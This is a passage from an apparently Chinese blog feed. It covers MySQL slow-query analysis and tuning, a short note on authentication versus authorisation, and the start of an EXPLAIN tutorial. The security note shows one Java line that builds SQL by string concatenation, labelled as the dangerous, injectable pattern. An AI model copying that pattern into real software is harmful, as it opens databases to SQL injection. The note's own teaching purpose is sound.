class="comment"># 分析慢查询日志</span></span><br><span class="line">pt-query-digest /var/lib/mysql/slow.log &gt; slow_report.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 分析最近4小时的日志</span></span><br><span class="line">pt-query-digest --since=<span class="string">&#x27;4h&#x27;</span> /var/lib/mysql/slow.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># 只分析特定数据库</span></span><br><span class="line">pt-query-digest --filter <span class="string">&#x27;$event-&gt;&#123;db&#125; eq &quot;mydb&quot;&#x27;</span> /var/lib/mysql/slow.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># 分析processlist（实时分析）</span></span><br><span class="line">pt-query-digest --processlist h=localhost,u=root,p=password</span><br></pre></td></tr></table></figure><p><strong>报告核心内容</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># Profile</span><br><span class="line"># Rank Query ID           Response time Calls R/Call V/M   Item</span><br><span class="line"># ==== ================== ============= ===== ====== ===== =============</span><br><span class="line">#    1 0xABC123...        1200.0000 60%  1000  1.2000 0.01 SELECT orders</span><br><span class="line">#    2 0xDEF456...         400.0000 20%   500  0.8000 0.02 SELECT user</span><br></pre></td></tr></table></figure><table><thead><tr><th>字段</th><th>含义</th></tr></thead><tbody><tr><td>Rank</td><td>排名</td></tr><tr><td>Response time</td><td>总响应时间及占比</td></tr><tr><td>Calls</td><td>执行次数</td></tr><tr><td>R/Call</td><td>平均每次响应时间</td></tr><tr><td>V/M</td><td>响应时间方差均值比（越大越不稳定）</td></tr></tbody></table><p>#</p><h2 id="2-3-慢查询表（MySQL-5-6-）"><a href="#2-3-慢查询表（MySQL-5-6-）" class="headerlink" title="2.3 慢查询表（MySQL 5.6+）"></a>2.3 慢查询表（MySQL 5.6+）</h2><p>将慢查询日志存入表中，便于SQL分析：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 设置输出到表</span></span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> log_output <span class="operator">=</span> <span class="string">&#x27;TABLE&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查询慢查询表</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> mysql.slow_log <span class="keyword">ORDER</span> <span class="keyword">BY</span> start_time <span class="keyword">DESC</span> LIMIT <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 清空慢查询表</span></span><br><span class="line"><span class="keyword">TRUNCATE</span> <span class="keyword">TABLE</span> mysql.slow_log;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-性能模式（Performance-Schema）"><a href="#2-4-性能模式（Performance-Schema）" class="headerlink" title="2.4 性能模式（Performance Schema）"></a>2.4 性能模式（Performance Schema）</h2><p>MySQL 5.6+ 推荐的分析方式：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 开启语句事件采集</span></span><br><span class="line"><span class="keyword">UPDATE</span> performance_schema.setup_consumers </span><br><span class="line"><span class="keyword">SET</span> ENABLED <span class="operator">=</span> <span class="string">&#x27;YES&#x27;</span> </span><br><span class="line"><span class="keyword">WHERE</span> NAME <span class="keyword">LIKE</span> <span class="string">&#x27;%statements%&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看执行时间最长的SQL</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    SQL_TEXT,</span><br><span class="line">    COUNT_STAR <span class="keyword">AS</span> exec_count,</span><br><span class="line">    AVG_TIMER_WAIT <span class="operator">/</span> <span class="number">1000000000000</span> <span class="keyword">AS</span> avg_time_sec,</span><br><span class="line">    MAX_TIMER_WAIT <span class="operator">/</span> <span class="number">1000000000000</span> <span class="keyword">AS</span> max_time_sec,</span><br><span class="line">    SUM_ROWS_EXAMINED <span class="operator">/</span> COUNT_STAR <span class="keyword">AS</span> avg_rows_examined,</span><br><span class="line">    SUM_CREATED_TEMP_TABLES <span class="keyword">AS</span> temp_tables</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.events_statements_summary_by_digest</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> AVG_TIMER_WAIT <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">10</span>;</span><br></pre></td></tr></table></figure><h2 id="三、慢查询优化流程"><a href="#三、慢查询优化流程" class="headerlink" title="三、慢查询优化流程"></a>三、慢查询优化流程</h2><p>#</p><h2 id="3-1-分析步骤"><a href="#3-1-分析步骤" class="headerlink" title="3.1 分析步骤"></a>3.1 分析步骤</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">发现慢查询</span><br><span class="line">    │</span><br><span class="line">    ├── 查看执行计划（EXPLAIN）</span><br><span class="line">    │       ├── 全表扫描？→ 添加索引</span><br><span class="line">    │       ├── 索引未使用？→ 分析原因</span><br><span class="line">    │       ├── 文件排序？→ 优化ORDER BY</span><br><span class="line">    │       └── 临时表？→ 优化GROUP BY</span><br><span class="line">    │</span><br><span class="line">    ├── 分析SQL写法</span><br><span class="line">    │       ├── 避免SELECT *</span><br><span class="line">    │       ├── 避免大OFFSET分页</span><br><span class="line">    │       ├── 避免隐式转换</span><br><span class="line">    │       └── 优化子查询</span><br><span class="line">    │</span><br><span class="line">    ├── 检查表结构</span><br><span class="line">    │       ├── 字段类型是否合理</span><br><span class="line">    │       ├── 是否有过大字段</span><br><span class="line">    │       └── 分区是否合适</span><br><span class="line">    │</span><br><span class="line">    └── 检查服务器状态</span><br><span class="line">            ├── CPU/IO是否瓶颈</span><br><span class="line">            ├── 连接数是否过多</span><br><span class="line">            └── 缓存命中率</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-常见慢查询场景"><a href="#3-2-常见慢查询场景" class="headerlink" title="3.2 常见慢查询场景"></a>3.2 常见慢查询场景</h2><p><strong>场景一：分页深翻页</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 深翻页，越来越慢</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">100000</span>, <span class="number">10</span>;</span><br><span class="line"><span class="comment">-- 扫描100010行，返回10行</span></span><br></pre></td></tr></table></figure><p>优化方案：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 方案一：延迟关联（推荐）</span></span><br><span class="line"><span class="keyword">SELECT</span> o.<span class="operator">*</span> </span><br><span class="line"><span class="keyword">FROM</span> orders o</span><br><span class="line"><span class="keyword">JOIN</span> (</span><br><span class="line">    <span class="keyword">SELECT</span> id </span><br><span class="line">    <span class="keyword">FROM</span> orders </span><br><span class="line">    <span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time <span class="keyword">DESC</span> </span><br><span class="line">    LIMIT <span class="number">100000</span>, <span class="number">10</span></span><br><span class="line">) tmp <span class="keyword">ON</span> o.id <span class="operator">=</span> tmp.id;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 方案二：记录上一页最大值</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> create_time <span class="operator">&lt;</span> <span class="string">&#x27;2024-06-01 00:00:00&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 方案三：限制翻页深度</span></span><br><span class="line"><span class="comment">-- 业务上限制只能翻到100页</span></span><br></pre></td></tr></table></figure><p><strong>场景二：大表JOIN</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 未优化的大表JOIN</span></span><br><span class="line"><span class="keyword">SELECT</span> u.<span class="operator">*</span>, o.<span class="operator">*</span> </span><br><span class="line"><span class="keyword">FROM</span> <span class="keyword">user</span> u</span><br><span class="line"><span class="keyword">LEFT</span> <span class="keyword">JOIN</span> orders o <span class="keyword">ON</span> u.id <span class="operator">=</span> o.user_id</span><br><span class="line"><span class="keyword">WHERE</span> u.status <span class="operator">=</span> <span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>优化方案：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 确保关联列有索引</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> orders <span class="keyword">ADD</span> INDEX idx_user_id (user_id);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 只查需要的列</span></span><br><span class="line"><span class="keyword">SELECT</span> u.id, u.name, o.order_no, o.amount</span><br><span class="line"><span class="keyword">FROM</span> <span class="keyword">user</span> u</span><br><span class="line"><span class="keyword">JOIN</span> orders o <span class="keyword">ON</span> u.id <span class="operator">=</span> o.user_id</span><br><span class="line"><span class="keyword">WHERE</span> u.status <span class="operator">=</span> <span class="number">1</span>;</span><br></pre></td></tr></table></figure><p><strong>场景三：IN大列表</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- IN列表过大</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="keyword">IN</span> (<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, ..., <span class="number">10000</span>);</span><br></pre></td></tr></table></figure><p>优化方案：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 方案一：改为JOIN临时表</span></span><br><span class="line"><span class="keyword">CREATE</span> TEMPORARY <span class="keyword">TABLE</span> tmp_ids (id <span class="type">INT</span> <span class="keyword">PRIMARY KEY</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> tmp_ids <span class="keyword">VALUES</span> (<span class="number">1</span>), (<span class="number">2</span>), (<span class="number">3</span>), ...;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> u.<span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> u</span><br><span class="line"><span class="keyword">JOIN</span> tmp_ids t <span class="keyword">ON</span> u.id <span class="operator">=</span> t.id;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 方案二：分批查询（程序中循环）</span></span><br><span class="line"><span class="comment">-- 每次IN 500-1000个</span></span><br></pre></td></tr></table></figure><p><strong>场景四：统计查询</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 全表统计</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="built_in">COUNT</span>(<span class="operator">*</span>) <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p>优化方案：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 方案一：汇总表（实时性要求不高）</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> order_stats (</span><br><span class="line">    status TINYINT <span class="keyword">PRIMARY KEY</span>,</span><br><span class="line">    total_count <span class="type">INT</span>,</span><br><span class="line">    last_updated DATETIME</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 方案二：缓存（Redis）</span></span><br><span class="line"><span class="comment">-- 方案三：近似值（SHOW TABLE STATUS）</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">TABLE</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;orders&#x27;</span>;</span><br><span class="line"><span class="comment">-- Rows列是近似值</span></span><br></pre></td></tr></table></figure><h2 id="四、索引优化策略"><a href="#四、索引优化策略" class="headerlink" title="四、索引优化策略"></a>四、索引优化策略</h2><p>#</p><h2 id="4-1-索引优化案例"><a href="#4-1-索引优化案例" class="headerlink" title="4.1 索引优化案例"></a>4.1 索引优化案例</h2><p><strong>案例：订单查询优化</strong></p><p>原始SQL：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">100</span> </span><br><span class="line">  <span class="keyword">AND</span> status <span class="keyword">IN</span> (<span class="number">1</span>, <span class="number">2</span>)</span><br><span class="line">  <span class="keyword">AND</span> create_time <span class="operator">&gt;</span> <span class="string">&#x27;2024-01-01&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>EXPLAIN分析：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">type: ALL（全表扫描）</span><br><span class="line">Extra: Using where; Using filesort</span><br></pre></td></tr></table></figure><p>优化过程：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 步骤一：添加联合索引（错误示范）</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time <span class="keyword">ON</span> orders(user_id, status, create_time);</span><br><span class="line"><span class="comment">-- 问题：IN条件导致create_time无法用于排序</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 步骤二：调整索引顺序</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_time_status <span class="keyword">ON</span> orders(user_id, create_time, status);</span><br><span class="line"><span class="comment">-- 分析：user_id等值 → create_time范围+排序 → status过滤</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 步骤三：覆盖索引（可选）</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_time_status_cover <span class="keyword">ON</span> orders(</span><br><span class="line">    user_id, create_time, status, </span><br><span class="line">    order_no, amount  <span class="comment">-- 包含查询列</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-索引优化检查清单"><a href="#4-2-索引优化检查清单" class="headerlink" title="4.2 索引优化检查清单"></a>4.2 索引优化检查清单</h2><ul><li><input disabled="" type="checkbox"> WHERE条件列是否有索引？</li><li><input disabled="" type="checkbox"> 联合索引顺序是否符合最左前缀？</li><li><input disabled="" type="checkbox"> 排序列是否在索引中？</li><li><input disabled="" type="checkbox"> 是否可以设计覆盖索引？</li><li><input disabled="" type="checkbox"> 索引选择性是否足够高？</li><li><input disabled="" type="checkbox"> 是否存在冗余索引？</li></ul><h2 id="五、SQL改写优化"><a href="#五、SQL改写优化" class="headerlink" title="五、SQL改写优化"></a>五、SQL改写优化</h2><p>#</p><h2 id="5-1-UNION替代OR"><a href="#5-1-UNION替代OR" class="headerlink" title="5.1 UNION替代OR"></a>5.1 UNION替代OR</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 优化前（索引可能失效）</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span> <span class="keyword">OR</span> phone <span class="operator">=</span> <span class="string">&#x27;13800138000&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 优化后</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span></span><br><span class="line"><span class="keyword">UNION</span> <span class="keyword">ALL</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> phone <span class="operator">=</span> <span class="string">&#x27;13800138000&#x27;</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-EXISTS替代IN"><a href="#5-2-EXISTS替代IN" class="headerlink" title="5.2 EXISTS替代IN"></a>5.2 EXISTS替代IN</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 优化前（子查询可能全表扫描）</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="keyword">IN</span> (</span><br><span class="line">    <span class="keyword">SELECT</span> user_id <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> amount <span class="operator">&gt;</span> <span class="number">100</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 优化后</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> u <span class="keyword">WHERE</span> <span class="keyword">EXISTS</span> (</span><br><span class="line">    <span class="keyword">SELECT</span> <span class="number">1</span> <span class="keyword">FROM</span> orders o </span><br><span class="line">    <span class="keyword">WHERE</span> o.user_id <span class="operator">=</span> u.id <span class="keyword">AND</span> o.amount <span class="operator">&gt;</span> <span class="number">100</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-批量操作替代循环"><a href="#5-3-批量操作替代循环" class="headerlink" title="5.3 批量操作替代循环"></a>5.3 批量操作替代循环</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 优化前（程序循环执行）</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> logs (msg) <span class="keyword">VALUES</span> (<span class="string">&#x27;msg1&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> logs (msg) <span class="keyword">VALUES</span> (<span class="string">&#x27;msg2&#x27;</span>);</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 优化后</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> logs (msg) <span class="keyword">VALUES</span> (<span class="string">&#x27;msg1&#x27;</span>), (<span class="string">&#x27;msg2&#x27;</span>), ...;</span><br></pre></td></tr></table></figure><h2 id="六、服务器参数优化"><a href="#六、服务器参数优化" class="headerlink" title="六、服务器参数优化"></a>六、服务器参数优化</h2><p>#</p><h2 id="6-1-内存相关"><a href="#6-1-内存相关" class="headerlink" title="6.1 内存相关"></a>6.1 内存相关</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># InnoDB缓冲池（通常设为物理内存的50%-75%）</span></span><br><span class="line"><span class="attr">innodb_buffer_pool_size</span> = <span class="number">4</span>G</span><br><span class="line"></span><br><span class="line"><span class="comment"># 缓冲池实例数（高并发时提高）</span></span><br><span class="line"><span class="attr">innodb_buffer_pool_instances</span> = <span class="number">4</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 日志缓冲区</span></span><br><span class="line"><span class="attr">innodb_log_buffer_size</span> = <span class="number">64</span>M</span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接缓冲区</span></span><br><span class="line"><span class="attr">join_buffer_size</span> = <span class="number">256</span>K</span><br><span class="line"><span class="attr">sort_buffer_size</span> = <span class="number">256</span>K</span><br><span class="line"><span class="attr">read_buffer_size</span> = <span class="number">128</span>K</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-连接相关"><a href="#6-2-连接相关" class="headerlink" title="6.2 连接相关"></a>6.2 连接相关</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 最大连接数</span></span><br><span class="line"><span class="attr">max_connections</span> = <span class="number">500</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接缓存</span></span><br><span class="line"><span class="attr">thread_cache_size</span> = <span class="number">100</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 等待超时</span></span><br><span class="line"><span class="attr">wait_timeout</span> = <span class="number">600</span></span><br><span class="line"><span class="attr">interactive_timeout</span> = <span class="number">600</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-InnoDB相关"><a href="#6-3-InnoDB相关" class="headerlink" title="6.3 InnoDB相关"></a>6.3 InnoDB相关</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 事务日志大小（大事务优化）</span></span><br><span class="line"><span class="attr">innodb_log_file_size</span> = <span class="number">512</span>M</span><br><span class="line"><span class="attr">innodb_log_files_in_group</span> = <span class="number">3</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 刷新策略（性能vs持久性）</span></span><br><span class="line"><span class="attr">innodb_flush_log_at_trx_commit</span> = <span class="number">2</span></span><br><span class="line"><span class="attr">innodb_flush_method</span> = O_DIRECT</span><br></pre></td></tr></table></figure><h2 id="七、监控与预警"><a href="#七、监控与预警" class="headerlink" title="七、监控与预警"></a>七、监控与预警</h2><p>#</p><h2 id="7-1-慢查询监控脚本"><a href="#7-1-慢查询监控脚本" class="headerlink" title="7.1 慢查询监控脚本"></a>7.1 慢查询监控脚本</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment"># slow_query_monitor.sh</span></span><br><span class="line"></span><br><span class="line">SLOW_LOG=<span class="string">&quot;/var/lib/mysql/slow.log&quot;</span></span><br><span class="line">THRESHOLD=100  <span class="comment"># 慢查询条数阈值</span></span><br><span class="line"></span><br><span class="line">COUNT=$(<span class="built_in">wc</span> -l &lt; <span class="variable">$SLOW_LOG</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ <span class="variable">$COUNT</span> -gt <span class="variable">$THRESHOLD</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;警告：过去1小时慢查询超过<span class="variable">$&#123;THRESHOLD&#125;</span>条，当前<span class="variable">$&#123;COUNT&#125;</span>条&quot;</span> | \</span><br><span class="line">    mail -s <span class="string">&quot;MySQL慢查询告警&quot;</span> dba@company.com</span><br><span class="line"><span class="keyword">fi</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-使用Prometheus-Grafana监控"><a href="#7-2-使用Prometheus-Grafana监控" class="headerlink" title="7.2 使用Prometheus + Grafana监控"></a>7.2 使用Prometheus + Grafana监控</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 创建监控视图</span></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">VIEW</span> slow_query_stats <span class="keyword">AS</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    DIGEST_TEXT <span class="keyword">AS</span> query,</span><br><span class="line">    COUNT_STAR <span class="keyword">AS</span> exec_count,</span><br><span class="line">    AVG_TIMER_WAIT <span class="operator">/</span> <span class="number">1000000000000</span> <span class="keyword">AS</span> avg_time,</span><br><span class="line">    MAX_TIMER_WAIT <span class="operator">/</span> <span class="number">1000000000000</span> <span class="keyword">AS</span> max_time,</span><br><span class="line">    SUM_ROWS_EXAMINED <span class="operator">/</span> COUNT_STAR <span class="keyword">AS</span> avg_rows</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.events_statements_summary_by_digest</span><br><span class="line"><span class="keyword">WHERE</span> AVG_TIMER_WAIT <span class="operator">&gt;</span> <span class="number">1000000000000</span>  <span class="comment">-- 超过1秒</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> AVG_TIMER_WAIT <span class="keyword">DESC</span>;</span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>阶段</th><th>工具/方法</th><th>目标</th></tr></thead><tbody><tr><td>发现</td><td>slow_query_log, Performance Schema</td><td>找到慢查询</td></tr><tr><td>分析</td><td>EXPLAIN, pt-query-digest</td><td>定位原因</td></tr><tr><td>优化</td><td>索引优化, SQL改写</td><td>提升性能</td></tr><tr><td>验证</td><td>EXPLAIN ANALYZE</td><td>确认效果</td></tr><tr><td>监控</td><td>告警脚本, Grafana</td><td>持续跟踪</td></tr></tbody></table><p>慢查询优化是持续的过程，需要：</p><ol><li>建立慢查询发现和监控机制</li><li>掌握EXPLAIN分析技能</li><li>积累常见场景的优化方案</li><li>定期进行全量SQL审核</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口鉴权和权限校验的区别</title>
      <link href="//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/"/>
      <url>//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/</url>
      
        <content type="html"><![CDATA[<h1 id="接口鉴权和权限校验的区别"><a href="#接口鉴权和权限校验的区别" class="headerlink" title="接口鉴权和权限校验的区别"></a>接口鉴权和权限校验的区别</h1><p>接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL执行计划分析Explain</title>
      <link href="//mysql-explain-execution-plan/"/>
      <url>//mysql-explain-execution-plan/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL执行计划分析Explain"><a href="#MySQL执行计划分析Explain" class="headerlink" title="MySQL执行计划分析Explain"></a>MySQL执行计划分析Explain</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、EXPLAIN基础用法"><a href="#一、EXPLAIN基础用法" class="headerlink" title="一、EXPLAIN基础用法"></a>一、EXPLAIN基础用法</h2><p>#</p><h2 id="1-1-基本语法"><a href="#1-1-基本语法" class="headerlink" title="1.1 基本语法"></a>1.1 基本语法</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- MySQL 8.0.18+ 支持EXPLAIN ANALYZE</span></span><br><span class="line">EXPLAIN ANALYZE <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-输出字段说明"><a href="#1-2-输出字段说明" class="headerlink" title="1.2 输出字段说明"></a>1.2 输出字段说明</h2><table><thead><tr><th>字段</th><th>含义</th></tr></thead><tbody><tr><td>id</td><td>查询标识符</td></tr><tr><td>select_type</td><td>查询类型</td></tr><tr><td>table</td><td>访问的表</td></tr><tr><td>partitions</td><td>匹配的分区</td></tr><tr><td>type</td><td>访问类型（重要）</td></tr><tr><td>possible_keys</td><td>可能使用的索引</td></tr><tr><td>key</td><td>实际使用的索引</td></tr><tr><td>key_len</td><td>使用索引的长度</td></tr><tr><td>ref</td><td>与索引比较的列</td></tr><tr><td>rows</td><td>扫描的行数（估算）</td></tr><tr><td>filtered</td><td>过滤后剩余比例</td></tr><tr><td>Extra</td><td>额外信息（重要）</td></tr></tbody></table><h2 id="二、关键字段详解"><a href="#二、关键字段详解" class="headerlink" title="二、关键字段详解"></a>二、关键字段详解</h2><p>#</p><h2 id="2-1-id字段"><a href="#2-1-id字段" class="headerlink" title="2.1 id字段"></a>2.1 id字段</h2><p>标识SELECT的执行顺序：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="keyword">IN</span> (</span><br><span class="line">    <span class="keyword">SELECT</span> user_id <span class="keyword">FROM</span> orders 